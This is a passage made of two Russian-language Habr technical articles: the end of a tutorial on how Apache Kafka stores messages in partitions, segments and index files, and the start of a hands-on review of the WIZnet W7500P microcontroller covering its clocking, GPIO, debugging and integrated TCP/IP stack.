- freblogg 197121 0 Aug 5 08:26 00000000000000000000.log
- freblogg 197121 10M Aug 5 08:26 00000000000000000000.timeindex
- freblogg 197121 0 Aug 5 08:26 leader-epoch-checkpoint
```
Как видите, файлы index вместе весят 20 МБ, а файл log совершенно пустой. В папках `freblogg-1` и `freblogg-2` то же самое.
Давайте отправим сообщения через console producer и посмотрим, что будет:
```
kafka-console-producer.bat --topic freblogg --broker-list localhost:9092
```
Я отправил два сообщения — сначала ввел стандартное «Hello World», а потом нажал на Enter, и это второе сообщение. Еще раз посмотрим на размеры файлов:
```
$ ls -lh freblogg*
freblogg-0:
total 20M
- freblogg 197121 10M Aug 5 08:26 00000000000000000000.index
- freblogg 197121 0 Aug 5 08:26 00000000000000000000.log
- freblogg 197121 10M Aug 5 08:26 00000000000000000000.timeindex
- freblogg 197121 0 Aug 5 08:26 leader-epoch-checkpoint
freblogg-1:
total 21M
- freblogg 197121 10M Aug 5 08:26 00000000000000000000.index
- freblogg 197121 68 Aug 5 10:15 00000000000000000000.log
- freblogg 197121 10M Aug 5 08:26 00000000000000000000.timeindex
- freblogg 197121 11 Aug 5 10:15 leader-epoch-checkpoint
freblogg-2:
total 21M
- freblogg 197121 10M Aug 5 08:26 00000000000000000000.index
- freblogg 197121 79 Aug 5 09:59 00000000000000000000.log
- freblogg 197121 10M Aug 5 08:26 00000000000000000000.timeindex
- freblogg 197121 11 Aug 5 09:59 leader-epoch-checkpoint
```
Два сообщения заняли две партиции, и файлы log в них теперь имеют размер. Это потому, что **сообщения в партиции хранятся в файле xxxx.log**. Давайте заглянем в файл log и убедимся, что сообщение и правда там.
```
$ cat freblogg-2/*.log
@^@^B°£æÃ^@^K^Xÿÿÿÿÿÿ^@^@^@^A"^@^@^A^VHello World^@
```
Файлы с форматом log не очень удобно читать, но мы все же видим в конце «Hello World», то есть файл обновился, когда мы отправили сообщение в топик. Второе сообщение мы отправили в другую партицию.
Обратите внимание, что первое сообщение попало в третью партицию (freblogg-2), а второе — во вторую (freblogg-1). Для первого сообщения Kafka выбирает партицию произвольно, а следующие просто распределяет по кругу (round-robin). Если мы отправим третье сообщение, Kafka запишет его во freblogg-0 и дальше будет придерживаться этого порядка. Мы можем и сами выбирать партицию, указав ключ. Kafka хранит все сообщения с одним ключом в одной и той же партиции.
Каждому новому сообщению в партиции присваивается Id на 1 больше предыдущего. Этот Id еще называют *смещением (offset)*. У первого сообщения смещение 0, у второго — 1 и т. д., каждое следующее всегда на 1 больше предыдущего.
### <Небольшое отступление>
Давайте используем инструмент Kafka, чтобы понять, что это за странные символы в файле log. Нам они кажутся бессмысленными, но для Kafka это метаданные каждого сообщения в очереди. Выполним команду:
```
kafka-run-class.bat kafka.tools.DumpLogSegments --deep-iteration --print-data-log --files logs\freblogg-2\00000000000000000000.log
```
Получим результат:
```
umping logs\freblogg-2\00000000000000000000.log
Starting offset: 0
offset: 0 position: 0 CreateTime: 1533443377944 isvalid: true keysize: -1 valuesize: 11 producerId: -1 headerKeys: [] payload: Hello World
offset: 1 position: 79 CreateTime: 1533462689974 isvalid: true keysize: -1 valuesize: 6 producerId: -1 headerKeys: [] payload: amazon
```
(Я удалил из выходных данных кое-что лишнее.)
Здесь мы видим **смещение, время создания, размер ключа и значения**, а еще само сообщение (payload).
###
Надо понимать, что **партиция привязана к брокеру**. Если у нас, допустим, три брокера, а папка `freblogg-0` существует в broker-1, в других брокерах ее не будет. У одного топика могут быть партиции в нескольких брокерах, но одна партиция всегда существует в одном брокере Kafka (если установлен коэффициент репликации по умолчанию 1, но об этом чуть позже).
### Сегменты
Что это за файлы index и log в каталоге партиции? Партиция, может, и единица хранения в Kafka, но не минимальная. Каждая партиция разделена на **сегменты**, то есть коллекции сообщений. Kafka не хранит все сообщения партиции в одном файле (как в файле лога), а разделяет их на сегменты. Это дает несколько преимуществ. (Разделяй и властвуй, как говорится.)
Главное — это упрощает стирание данных. Я уже говорил, что сами мы не можем удалить сообщение из партиции, но Kafka может это сделать на основе политики хранения для топика. Удалить сегмент проще, чем часть файла, особенно когда продюсер отправляет в него данные.
```
$ ls -lh freblogg-0
total 20M
- freblogg 197121 10M Aug 5 08:26 00000000000000000000.index
- freblogg 197121 0 Aug 5 08:26 00000000000000000000.log
- freblogg 197121 10M Aug 5 08:26 00000000000000000000.timeindex
- freblogg 197121 0 Aug 5 08:26 leader-epoch-checkpoint
```
Нули (00000000000000000000) в файлах log и index в каждой папке партиции — это имя сегмента. У файла сегмента есть файлы `segment.log`, `segment.index` и `segment.timeindex`.
Kafka всегда записывает сообщения в файлы сегментов в рамках партиции, причем у нас всегда есть *активный* сегмент для записи. Когда Kafka достигает лимита по размеру сегмента, создается новый файл сегмента, который станет активным.
В имени каждого файла сегмента отражается смещение от первого сообщения. На картинке выше в сегменте 0 содержатся сообщения со смещением от 0 до 2, в сегменте 3 — от 3 до 5, и так далее. Последний сегмент, шестой, сейчас активен.
```
$ ls -lh freblogg*
freblogg-0:
total 20M
- freblogg 197121 10M Aug 5 08:26 00000000000000000000.index
- freblogg 197121 0 Aug 5 08:26 00000000000000000000.log
- freblogg 197121 10M Aug 5 08:26 00000000000000000000.timeindex
- freblogg 197121 0 Aug 5 08:26 leader-epoch-checkpoint
freblogg-1:
total 21M
- freblogg 197121 10M Aug 5 08:26 00000000000000000000.index
- freblogg 197121 68 Aug 5 10:15 00000000000000000000.log
- freblogg 197121 10M Aug 5 08:26 00000000000000000000.timeindex
- freblogg 197121 11 Aug 5 10:15 leader-epoch-checkpoint
freblogg-2:
total 21M
- freblogg 197121 10M Aug 5 08:26 00000000000000000000.index
- freblogg 197121 79 Aug 5 09:59 00000000000000000000.log
- freblogg 197121 10M Aug 5 08:26 00000000000000000000.timeindex
- freblogg 197121 11 Aug 5 09:59 leader-epoch-checkpoint
```
У нас всего по одному сегменту в каждой партиции, поэтому они называются 00000000000000000000. Раз других файлов сегментов нет, сегмент 00000000000000000000 и будет активным.
По умолчанию сегменту выдается целый гигабайт, но представим, что мы изменили параметры, и теперь в каждый сегмент помещается только три сообщения. Посмотрим, что получится.
Допустим, мы отправили в партицию `freblogg-2` три сообщения, и она выглядит так:
Три сообщения — это наш лимит. На следующем сообщении Kafka автоматически закроет текущий сегмент, создаст новый, сделает его активным и сохранит новое сообщение в файле log этого сегмента. (Я не показываю предыдущие нули, чтобы было проще воспринять).
```
freblogg-2
|-- 00.index
|-- 00.log
|-- 00.timeindex
|-- 03.index
|-- 03.log
|-- 03.timeindex
`--
```
Удивительное дело, но новый сегмент называется не 01. Мы видим `03.index`, `03.log`. Почему так?
Kafka называет сегмент по имени минимального смещения в нем. Новое сообщение в партиции имеет смещение 3, поэтому Kafka так и называет новый сегмент. Раз у нас есть сегменты 00 и 03, мы можем быть уверены, что сообщения со смещениями 0, 1 и 2 и правда находятся в сегменте 00. Новые сообщения в партиции `freblogg-2` со смещениями 3 ,4 и 5 будут храниться в сегменте 03.
В Kafka мы часто читаем сообщения по определенному смещению. Искать смещение в файле log затратно, особенно если файл разрастается до неприличных размеров (по умолчанию это 1 ГБ). Для этого нам и нужен файл `.index`. **В файле index хранятся смещения и физическое расположение сообщения в файле log.**
Файл index для файла log, который я приводил в кратком отступлении, будет выглядеть как-то так:
Если нужно прочитать сообщение со смещением 1, мы ищем его в файле index и видим, что его положение — 79. Переходим к положению 79 в файле log и читаем. Это довольно эффективный способ — мы быстро находим нужное смещение в уже отсортированном файле index с помощью бинарного поиска.
### Параллелизм в партициях
Чтобы гарантировать порядок чтения сообщений из партиции, Kafka дает доступ к партиции только одному консюмеру (из группы консюмеров). Если партиция получает сообщения a, f и k, консюмер читает их в том же порядке: a, f и k. Это важно, ведь **порядок потребления сообщений на уровне топика не гарантирован**, если у вас несколько партиций.
Если консюмеров будет больше, параллелизм не увеличится. Нужно больше партиций. Чтобы два консюмера параллельно считывали данные из топика, нужно создать две партиции — по одной на каждого. Партиции в одном топике могут находиться в разных брокерах, поэтому два консюмера топика могут считывать данные из двух разных брокеров.
### Топики
Наконец, переходим к топикам. Мы уже кое-что знаем о них. Главное, что нужно знать: **топик — это просто логическое объединение нескольких партиций**.
Топик может быть распределен по нескольким брокерам через партиции, но каждая партиция находится только в одном брокере. У каждого топика есть уникальное имя, от которого зависят имена партиций.
### Репликация
Как работает репликация? Создавая топик в Kafka, мы указываем для него коэффициент репликации — `replication-factor`. Допустим, у нас два брокера и мы устанавливаем `replication-factor 2`. Теперь Kafka попытается всегда создавать бэкап, или реплику, для каждой партиции в топике. Kafka распределяет партиции примерно так же, как HDFS распределяет блоки данных по нодам.
Допустим, для топика `freblogg` мы установили коэффициент репликации 2. Мы получим примерно такое распределение партиций:
Даже если реплицированная партиция находится в другом брокере, Kafka не разрешает ее читать, потому что в каждом наборе партиций есть LEADER, то есть лидер, и FOLLOWERS — ведомые, которые остаются в резерве. Ведомые периодически синхронизируются с лидером и ждут своего звездного часа. Когда лидер выйдет из строя, один из in-sync ведомых будет выбран новым лидером, и вы будете получать данные из этой партиции.
Лидер и ведомый одной партиции всегда находятся в разных брокерах. Думаю, не нужно объяснять, почему.
Мы подошли к концу этой длинной статьи. Если вы добрались до этого места — поздравляю. Теперь вы знаете почти все о хранении данных в Kafka. Давайте повторим, чтобы ничего не забыть.
### Итоги
* В Kafka данные хранятся в топиках.
* Топики разделены на партиции.
* Каждая партиция разделена на сегменты.
* У каждого сегмента есть файл log, где хранится само сообщение, и файл index, где хранится позиция сообщения в файле log.
* У одного топика могут быть партиции в разных брокерах, но сама партиция всегда привязана к одному брокеру.
* Реплицированные партиции существуют пассивно. Вы обращаетесь к ним, только если сломался лидер.
***От редакции:***
*Более подробно от работе с Apache Kafka можно узнать на курсе Слёрма. Курс сейчас в разработке, релиз 7 апреля 2021. В программе бесплатные базовые уроки, они [уже доступны на Youtube](https://www.youtube.com/watch?v=w7HSY8L1bsk&list=PL8D2P0ruohOAR7DAkEjhOqlQreg9rxBMu) и платная продвинутая часть.*
[Оставить заявку на курс](https://slurm.io/kafka?utm_source=habr&utm_medium=post&utm_campaign=kafka-videocourse&utm_content=post_29-12-2020&utm_term=averina).
Ресурсы:
→ [Схема Kafka](https://kafka.apache.org/images/kafka_diagram.png) | https://habr.com/ru/post/535374/ | null | ru | null |
# Трезвый взгляд на W7500P — микроконтроллер со встроенным TCP/IP стеком
Платы модулей на основе чипов W5500 и W7500pМногие из тех, кто имел дело с микроконтроллерами, наверняка слышали о микросхеме конвертере [SPI <-> Ethernet W5500](https://habr.com/ru/post/220723/). В свое время эта микросхема стала поистине "народной" по многим причинам, к которым можно отнести как низкую стоимость самих микросхем и готовых модулей для прототипирования на их основе, так и наличие готовых библиотек под разные платформы для легкой интеграции чипа в различные проекты. К тому же, из-за относительно легкой модели взаимодействия между микросхемой и микроконтроллером, не составляло труда взаимодействовать с микросхемой без сторонних библиотек.
Однако времена шли и появлялось все больше дешевых микроконтроллеров, которые содержали внутри себя MAC уровень, требуя лишь снаружи микросхему PHY. А для ленивых производитель давал готовые решения по интеграции в проект LWIP со стороны софта и демо платы и примеры разводки PHY под свой микроконтроллер со стороны железа. Изредко появлялись чипы с PHY прямо на кристалле микроконтроллера.
Именно в этот момент WIZnet сделала следующий шаг - выпустила чип, который должен был сочетать функциональность W5500 с функциональностью обычного микроконтроллера, объединив тем самым в себе 2 микросхемы. Это техническое решение получило название W7500p.
Рассмотрим, что же из себя представляет W7500P в боевых условиях.
Общие сведения о чипе
---------------------
У WIZnet имеется две реализации чипа линейки W7500. С суффиксом P ([W7500p](https://www.wiznet.io/product-item/w7500p/)) и без ([W7500](https://www.wiznet.io/product-item/W7500/)). Разница лишь в наличии у W7500p внутри отдельного кристалла PHY (вторым этажом), который подключен к основному кристаллу микроконтроллера через выводы, не выведенные на пригодные для внешней пайки контакты микросхемы.
Вариант реализации без встроенного PHY может быть полезен в ряде случаев, в перечень которых входят жесткие требования к используемому PHY и требования к электромагнитной совместимости в целом. Также стоит помнить что PHY относительно сильно греется.
Я же буду рассматривать вариант с встроенным PHY, наиболее подходящим для дешевых интернет вещей.
Документация, ознакомительные примеры и демонстрационные платы
--------------------------------------------------------------
Так как WIZnet не является сильно популярным производителем микроконтроллеров, то на пути освоения их продукции пришлось столкнуться с множеством "детских" болезней начинающих разработчиков.
На официальном сайте [W7500p](https://www.wiznet.io/product-item/w7500p/) имеется ссылка на покупку [официальной демонстрационной платы](https://eshop.wiznet.io/shop/chip/wizwiki-w7500p/), а также ссылки на документацию и готовые библиотеки. Однако не все так радужно:
1. Данная плата отсутствует в продаже как на официальном магазине, так и на AliExpress. Так как я хотел лишь изучить этот чип для себя, то не стал обременять себя с поиском остатков на [Mouser](https://ru.mouser.com/) или [Элитан](https://www.elitan.ru/). Да и даже если бы я нашел ее там, то стоимость с доставкой одной единицы оставляла бы желать лучшего. Вместо нее на AliExpress есть [клон этой платы](https://aliexpress.ru/item/1005001677519127.html?spm=a2g0s.9042311.0.0.6e7033edlbrAq8), на которой убрали слот для модуля расширения, конвертер USB<->UART и добавили разъем программирования и разъем под Micro-SD карту, подключенную по SPI. Именно [ее](https://aliexpress.ru/item/1005001677519127.html?spm=a2g0s.9042311.0.0.6e7033edlbrAq8) я и приобрел. И о ней далее пойдет речь.
2. Документация очень скудная. На описание работы TCP/IP стека приходится всего 2 страницы. На остальные модули и того меньше. Отдельно заслуживает внимания [политика компании](https://forum.wiznet.io/t/topic/2212). "В документации этого нет, потому что это уже есть в демонстрационной библиотеке и знать вам об этом не надо". В ряде случаев единственное, что вы можете сделать, так это бездумно копировать "магические" строки из библиотеки себе в проект. Или использовать готовую библиотеку "на веру".
3. Все примеры, которые имеются под плату хоть и собраны под GCC и Keil, но работают только под Keil. Да, там почти одни и те же файлы, но почему-то ни один пример под GCC у меня из коробки так и не взлетел. И, что интересно, размер собранных bin файлов отличается в несколько раз. И рас уж мы говорим про примеры, то отмечу, что примеры из [официального хранилища компании](https://github.com/Wiznet/W7500) с этой платой работать не будут. Ни из под Keil, ни из под GCC. Там магические строки немного другие. Но об этом позже. Нам на помощь приходит [хранилище от разработчиков неофициальной платы](https://github.com/arm8686/W7500P-Tau). Внутри там как obj файлы, так и исходники. К тому же, имена врут. Видно, что делали или в спешке или не очень добросовестно, но рабочий проект под Keil, что я нашел (для GCC по прежнему не работает ничего из коробки даже отсюда) назывался w5500.
Проект к статье
---------------
В своих домашних проектах я предпочитаю делать все с пониманием дела и на регистрах. Этот проект не стал исключением. Воодушевившись наличием рабочего проекта (хоть и не рабочего, если собирать GCC) я начал писать демо-проект с нуля. В готовом виде вы можете увидеть его [здесь](https://gitlab.com/vadimatorikda/w7500p_test). Я буду подробно останавливаться на том, что касается именно данного чипа и вскользь упомяну инфраструктуру, на основе которой будет построен проект (о некоторых частях планирую написать отдельные статьи). Проект собирается cmake-ом и написан на C.
Проект включает в себя следующие субмодули:
1. [vsrtos](https://gitlab.com/vadimatorikda/vsrtos) – очень маленькая операционная система реального времени собственной разработки без излишков. Использую ее в своих проектах и фриланс-проектах. О ней напишу в другой раз подробно. А для последующей части статьи достаточно знать, что ее внешний функционал похож на функционал FreeRTOS.
2. [lib\_service](https://gitlab.com/vadimatorikda/lib_service) – библиотека с базовыми компонентами, отвязанными от аппаратной части, которые работают совместно на [vsrtos](https://gitlab.com/vadimatorikda/vsrtos). Из нее будет использован механизм мигания светодиодом в потоке ОС.
3. [lib\_w7500x](https://gitlab.com/vadimatorikda/lib_w7500x) – библиотека для работы с периферией микроконтроллеров W7500 и W7500p. За исключением самого проекта, весь аппаратно зависимый код находится здесь. Файлы из данного хранилища будут рассмотрены в этой статье.
### Постановка цели проекта и описание требований
Для того, чтобы оценить возможности чипа, я решил написать небольшой демонстрационный проект, который бы использовал ключевую периферию.
Проект должен:
1. Работать на максимально возможной частоте.
2. Содержать операционную систему реального времени.
3. Из потока ОС мигать светодиодом, расположенным на плате, с частотой 1 Гц.
4. Из потока ОС раз в 500 миллисекунд отправлять на компьютер по UDP значение счетчика uint32\_t переменной.
Хоть поставленные цели и звучат легко, но вот чтобы их реализовать на этом чипе пришлось изрядно постараться, но обо всем по порядку.
Пустой проект
-------------
Для начала было бы неплохо собрать проект, который просто инициализирует области в RAM и встает на бесконечное ожидание в функции main. Поскольку перед нами микроконтроллер с ядром Cortex-M0, то тут обошлось без приключений. В общем виде потребовалось написать:
1. [mem.ld](https://gitlab.com/vadimatorikda/lib_w7500x/-/blob/8279cd14da26d309d3c6718596fb6aa5fb51b3cf/linker/mem.ld) – файл с описанием деления памяти микроконтроллера на разные блоки (FLASH, RAM, STACK). Для удобства я всегда выделяю начальный стек в отдельный блок памяти. Этот же стек будет использоваться и обработчиками прерываний. В данном файле я использовал лишь 16 килобайт из первого блока RAM. Однако в чипе содержится 2 блока RAM. Один на 16 килобайт, а второй на 32 килобайта. Интегрированный TCP/IP стек использует второй блок памяти (на 32 килобайта) для приема и передачи Ethernet транзакций совместно с ядром (об этом подробнее далее). Так как 16 килобайт для моих задач было более чем достаточно, то я оставил весь второй блок для TCP/IP стека (о том как TCP/IP стек использует этот блок памяти сообщений, также будет сказано далее). Интересно также, что flash расположена не от 0x08000000 как в STM32, а от 0x00000000.
2. [section.ld](https://gitlab.com/vadimatorikda/lib_w7500x/-/blob/8279cd14da26d309d3c6718596fb6aa5fb51b3cf/linker/sections.ld) – файл с описанием расположения секций кода и данных по блокам памяти, описанным в mem.ld. Тут все как обычно: область .isr\_vector а начале FLASH, хранящая таблицу векторов прерываний, за ней .text, хранящая код демонстрационной программы и стандартных библиотек компилятора, и области .data с .bss, расположенные в RAM, хранящие глобальные переменные, заполненными ненулевыми (.data) и нулевыми (.bss) значениями.
3. [vector.c](https://gitlab.com/vadimatorikda/lib_w7500x/-/blob/8279cd14da26d309d3c6718596fb6aa5fb51b3cf/startup/vector.c) – файл с таблицей векторов прерываний для стандартных прерываний от Cortex-M0 + специфичных для W7500/W7500p. Неиспользуемые прерывания, в случае вызова, переводят выполнение процессора в код-заглушку для последующих исследований. Таблица составлена на основе кода из хранилища рабочего проекта разработчика платы и отличается от таблицы, представленной в документации.
4. [loader.c](https://gitlab.com/vadimatorikda/lib_w7500x/-/blob/8279cd14da26d309d3c6718596fb6aa5fb51b3cf/startup/loader.c) – файл с методами копирования данных из flash в .data, очистки .bss, заполнения стека начальным, удобным для отслеживания переполнений значением, вызова main и, в случае выхода из main, программной перезагрузки ядра.
5. main.c – main функция с бесконечным циклом.
Данного набора достаточно, чтобы собрать ничего не делающий пустой проект, запустить его в отладчике и убедиться, что все работает.
Отладка проекта
---------------
Чип подключается к клону J-Link и отлаживается через pyOCD последней версии. В openocd для него нет скриптов. Для Keil есть pack, включающий в себя отладку. Отладка в обоих случаях происходит через SWD. Используется аппаратный reset вывод.
Для отладки в среде требуется настроить embedded GDB сервер со следующими параметрами:
* 'target remote' args: localhost:3333.
* GDB Server: pyocd.
* GDB Server args: gdbserver --target w7500 --connect halt.
В среде CLion настройка будет выглядеть следующим образом:
Embedded GDB Server для W7500P в CLionСам процесс прошивки и начала отладки:
```
pyocd gdbserver --target w7500 --connect halt
0001317:INFO:board:Target type is w7500
0001698:INFO:dap:DP IDR = 0x0bb11477 (v1 MINDP rev0)
0001706:INFO:ap:AHB-AP#0 IDR = 0x04770021 (AHB-AP var2 rev0)
0001728:INFO:rom_table:AHB-AP#0 Class 0x1 ROM table #0 @ 0xe00ff000 (designer=43b part=471)
0001751:INFO:rom_table:[0]
0001768:INFO:rom\_table:[1]
0001786:INFO:rom\_table:[2]
0001788:INFO:cortex\_m:CPU core #0 is Cortex-M0 r0p0
0001790:INFO:dwt:2 hardware watchpoints
0001794:INFO:fpb:4 hardware breakpoints, 0 literal comparators
0001806:INFO:server:Semihost server started on port 4444 (core 0)
0001860:INFO:gdbserver:GDB server started on port 3333 (core 0)
0002593:INFO:gdbserver:Client connected to port 3333!
0002717:INFO:gdbserver:Attempting to load argon
0002717:INFO:gdbserver:Attempting to load freertos
0002718:INFO:gdbserver:Attempting to load rtx5
0002718:INFO:gdbserver:Attempting to load threadx
0002718:INFO:gdbserver:Attempting to load zephyr
[====================] 100%
0006312:INFO:loader:Erased 5120 bytes (20 sectors), programmed 5120 bytes (20 pages), skipped 0 bytes (0 pages) at 1.39 kB/s
Resetting target
Debugger connected to localhost:3333
```
Мигаем светодиодом
------------------
Как говорилось ранее, в lib\_service есть готовый модуль, который в потоке vsrtos инвертирует светодиод с заданным периодом. Однако он требует пользовательский метод для инвертирования светодиода. А значит настало время познакомиться с аппаратной периферией микроконтроллера. Заодно и сравним ее с периферией STM32.
### Структуры модулей периферии микроконтроллера
На все модули периферии кроме TCP/IP стека имеются структуры с регистрами периферии в демонстрационном коде из хранилища. Данные структуры отличаются от того, что можно составить по документации, так как в документации множество ошибок. Структуры из рабочего демонстрационного проекта являются истиной в последней инстанции.
На модуль TCP/IP стека не было структур. Только макросы, которые оборачивали адреса регистров периферии.
Для единообразия я переписал эту часть на манер структур от более популярных производителей типа STM. Структуры периферии ядра описаны в файле [core.h](https://gitlab.com/vadimatorikda/lib_w7500x/-/blob/main/structs/core.h), а периферии микроконтроллера в [periph.h](https://gitlab.com/vadimatorikda/lib_w7500x/-/blob/main/structs/periph.h) библиотеки [lib\_w7500x](https://gitlab.com/vadimatorikda/lib_w7500x).
### Clock Reset generator (CRG)
Это аналог RCC у STM32. Однако он имеет ряд следующих отличий:
1. Вся периферия по умолчанию включена.
2. PLL по умолчанию включен. В качестве источника используется внутренняя RC цепь на 8 МГц, а коэффициенты деления с последующим умножением составляют 5 и 2 соответственно.
3. Все линии тактового сигнала после PLL подключены к блокам периферии с делителем 1 (bypass).
4. Отсутствуют механизмы анализа выхода на требуемую частоту или детектирования отказа внешнего HSE. Вместо этого есть возможность вывести с любой шины тактирования сигнал на вывод GPIO.
5. Имеется отдельный генератор частоты для MII\_RXC и MII\_TXC, работающий от отдельного внешнего кварцевого резонатора. Его можно только включить или выключить. Кварцевый резонатор должен быть на 25 МГц. По умолчанию он включен.
6. Какие-либо рекомендации по последовательности настройки в документации отсутствуют. Также как и механизмы восстановления в случае установки ошибочных коэффициентов. Микроконтроллер просто начнет вести себя неадекватно при неверных коэффициентах HSE или в случае установки некачественного HSE.
Основываясь на выдвинутых требованиях к проекту, требуется настроить PLL на максимальную частоту 48 МГц и при этом переключить источник с HSI на HSE. После чего выключить HSI. Это делается в 3 строчки кода в файле [crg.c](https://gitlab.com/vadimatorikda/lib_w7500x/-/blob/8279cd14da26d309d3c6718596fb6aa5fb51b3cf/drivers/crg.c) библиотеки [lib\_w7500x](https://gitlab.com/vadimatorikda/lib_w7500x).
### Порты ввода-вывода (GPIO)
Тут все достаточно сложно. Вместо одного модуля GPIO + EXTI, как это сделано у STM32, тут у нас 3 + EXTI:
1. Alternate Function Controller (AFC) – данный модуль предоставляет функционал аналогичный выбору альтернативной функции AFx в STM32F4 и схожих. В отличии от STM32, все выводы по умолчанию имеют не функцию входов, а альтернативную функцию, соответствующую наиболее вероятному сценарию использования, которую предполагает производитель. В связи с этим, для того, чтобы помигать светодиодом, для начала нужно убедиться, находится ли требуемый вывод в режиме GPIO, а не подключен к какой-либо периферии. Если подключен, то требуется перевести его в режим работы с GPIO.
2. External Interrupt (EXTI) – в этом модуле примерно то же, что и в модуле EXTI у STM32F4, только проще. Можно выбрать, генерируется ли прерывание по переходу в требуемый уровень шины сигнала или нет, и по переходу в какой уровень (0 или 1) оно произойдет (речь идет именно о сигнале на внутренней шине между EXTI и GPIO, а не сигнале на входе пина).
3. Pad Controller (PADCON) – этот модуль предназначен для конфигурации параметров выбранного пина. Тут можно настроить:
1. Нужна или нет подтяжка к питанию или земле.
2. Ток выходного сигнала (большой/маленький). Конкретные значения для разных конфигураций указаны в reference manual на странице 150, раздел GPIO.
3. Является ли выход выходом с открытым коллектором или нет (если нет, то, как я понял, это аналог push-pull).
4. Включен ли встроенный буфер на входе или нет.
5. Включен триггер Шмитта на входе или нет.
4. General-purpose I/Os (GPIO) – модуль сочетает в себе часть RCC и часть GPIO из stm32 и позволяет:
1. Включать/выключать выходы на пины (режим входов всегда включен).
2. Считывать данные с входов (после прохождения через буферы и триггеры Шмитта, если включены).
3. Выставлять данные на выходы пинов (будут выведены только если выход на пине включен).
4. Считывать/очищать состояния наличия прерываний на пинах.
5. Выбирать режим срабатывания прерывания: по уровню или спаду/подъему.
6. Выставлять полярность (в случае срабатывания по совпадению уровня) или границу (в случае срабатывания по фронту или спаду) возникновения прерывания.
7. Работать с модулем через пространство масок.
Вышла достаточно сложная структура. Для упрощения логики работы с ней был написан ряд простых методов, которые позволяют сделать вид, что весь перечисленный функционал находится в одном модуле. Найти эти методы можно в файле [gpio.c](https://gitlab.com/vadimatorikda/lib_w7500x/-/blob/main/drivers/gpio.c) библиотеки [lib\_w7500x](https://gitlab.com/vadimatorikda/lib_w7500x).
Для наших целей нам нужно было помигать светодиодом. Он расположен на выводе PC13, который по умолчанию является одним из выводов UART. В файле [gpio.c](https://gitlab.com/vadimatorikda/w7500p_test/-/blob/main/mc/gpio.c) [демонстрационного проекта](https://gitlab.com/vadimatorikda/w7500p_test) можно посмотреть на его инициализацию, а также на функцию установки состояния на выходе. Последняя передается в аппаратно независимый модуль и мигает светодиодом с заданным периодом.
SYSTIC
------
Для работы vsrtos, как и для любой RTOS с вытесняющей многозадачностью нужен таймер. В данном микроконтроллере имеется стандартный SYSTIC, который при входной частоте 48 МГц, подаваемых на ядро, тактируется от 6 МГц. Однако есть нюанс. В документации отсутствует бит CLKSOURCE из CSR. Я так и не смог понять, откуда идет частота при 0 в этом бите. Но при 1, все сходится с теоретическими расчетами.
Работа с TCP/IP стеком
----------------------
Вот мы и добрались до основного модуля, ради которого всё и затевали. Чисто теоретически, для того, чтобы начать отправлять сообщения по UDP, достаточно лишь настроить выводы микроконтроллера, настроить PHY, дождаться подключения кабеля, открыть RX сокет и отправлять в TX сокет свои данные, игнорируя данные в RX сокете (запускаются парами). Однако тут возник ряд нюансов:
1. Так как внутри нашей микросхемы два кристалла, то часть выводов микроконтроллера не выведено наружу и подключено сразу к PHY. Однако какие именно это выводы - нам не сказано. Но изучение исходников библиотеки, которые писали магические константы по несуществующим адресам + немного дедукции навели на мысли в какие именно регистры какой периферии идет запись.
2. В подключении между двумя кристаллами (MAC на одном и PHY на другом) есть не подключенный контакт, который приводит к тому, что временами в транзакциях ping скачет с 1 мс до 700 мс. Что для отправки UDP пакетов напрямую кабелем в сетевую карту компьютера значительно. К счастью, в errata по этому поводу имеется специальный раздел. Там просят присвоить константы по постоянным адресам, которых нет.. Опять же, почитав код в пункте 1, стало понятно, что на определенные выводы вешается подтяжка к земле, а на другие к питанию. А на один вывод вообще выставляется логическая единица. Сборную солянку этого можно увидеть в функции init\_miim\_pins файла [eth.c](https://gitlab.com/vadimatorikda/lib_w7500x/-/blob/8279cd14da26d309d3c6718596fb6aa5fb51b3cf/drivers/eth.c) библиотеки [lib\_w7500x](https://gitlab.com/vadimatorikda/lib_w7500x).
3. Инициализация PHY происходит не через интерфейс MDIO. Его тут попросту нет. Или есть, но нам и тем, кто писал демонстрационный код и документацию об этом не сказали. Все происходит средствами ручного управления пинами. Как принято говорить среди разработчиков "ногодрыгом". Попеременно меня назначение пина. Посмотреть на чуть измененный код ногодрыга для MDIO можно в функциях mdio\_idle, mdio\_out, mdio\_turnaround, mdio\_in. Эти методы используются методом mdio\_get\_data, предназначенным для получения содержимого регистров PHY. Метод phy\_init инициализирует пины, и средствами метода get\_phy\_id пытается получить ID интегрированного PHY. В моем случае он был равен 5.
4. Как я говорил ранее, второй блок RAM предназначен для TCP/IP стека. А именно:
1. 32 килобайта поделены на два. 16 килобайт для отправки и 16 килобайт для приема. Эти значения фиксированы и не могут быть изменены.
2. Внутри каждого блока по 16 килобайт можно разбить память для используемых сокетов. В зависимости от задачи. По умолчанию 32 килобайта делятся на максимальное количество поддерживаемых сокетов - 8 штук. То есть, по 2 килобайта на сокет для отправки и 2 килобайта для этого же сокета на прием.
3. Размер буфера для передачи и приема у одного сокета можно задать разный. Однако размеры кратны двойке: 0, 1, 2, 4, 8, 16 килобайт. То есть, в теории, можно создать один сокет, который будет иметь 16 килобайт для приема и 16 для отправки. Я же оставил данные параметры по умолчанию.
4. Те участки памяти, которые предназначены для каждого сокета для приема и передачи представляют внутри себя кольцевой буфер. Разберу на примере передачи. Пусть у нас сейчас только началась работа системы. Мы хотим передать 4 байта. Для этого нам нужно:
1. Считать из специального регистра-указателя текущее положение в кольцевом буфере.
2. Взять адрес начала буфера и прибавить к нему смещение внутри кольцевого буфера.
3. Скопировать данные для отправки в буфер по полученному адресу в пункте 2. Если буфер закончился в процессе помещения данных для отправки, то продолжить писать сначала.
4. Положить в регистр-указатель из пункта 1 прежнее значение плюс длина данных, которые мы приготовили для отправки.
5. Весь TCP/IP стек представляет для разработчика конечный автомат с множеством состояний и флагов. То есть для того, чтобы начать коммуникацию первый раз, сначала понадобится уточнить, что машина состояний сброшена - сокет закрыт. Далее требуется настроить параметры и дождаться, пока машина состояний перейдет в нужное нам состояние - соединено. С отправкой то же самое. Убеждаемся, что машина состояний находится в состоянии ожидания следующей транзакции, настраиваем пакет для отправки, переводим машину состояния в состояние отправки, и ждем либо переход в состояние истечения времени ожидания, либо окончания передачи. За открытие сокета и последующую отправку в него (с возможным закрытием по желанию пользователя) отвечают методы socket\_udp\_close, socket\_udp\_open и socket\_udp\_send файла [eth.c](https://gitlab.com/vadimatorikda/lib_w7500x/-/blob/8279cd14da26d309d3c6718596fb6aa5fb51b3cf/drivers/eth.c) библиотеки [lib\_w7500x](https://gitlab.com/vadimatorikda/lib_w7500x).
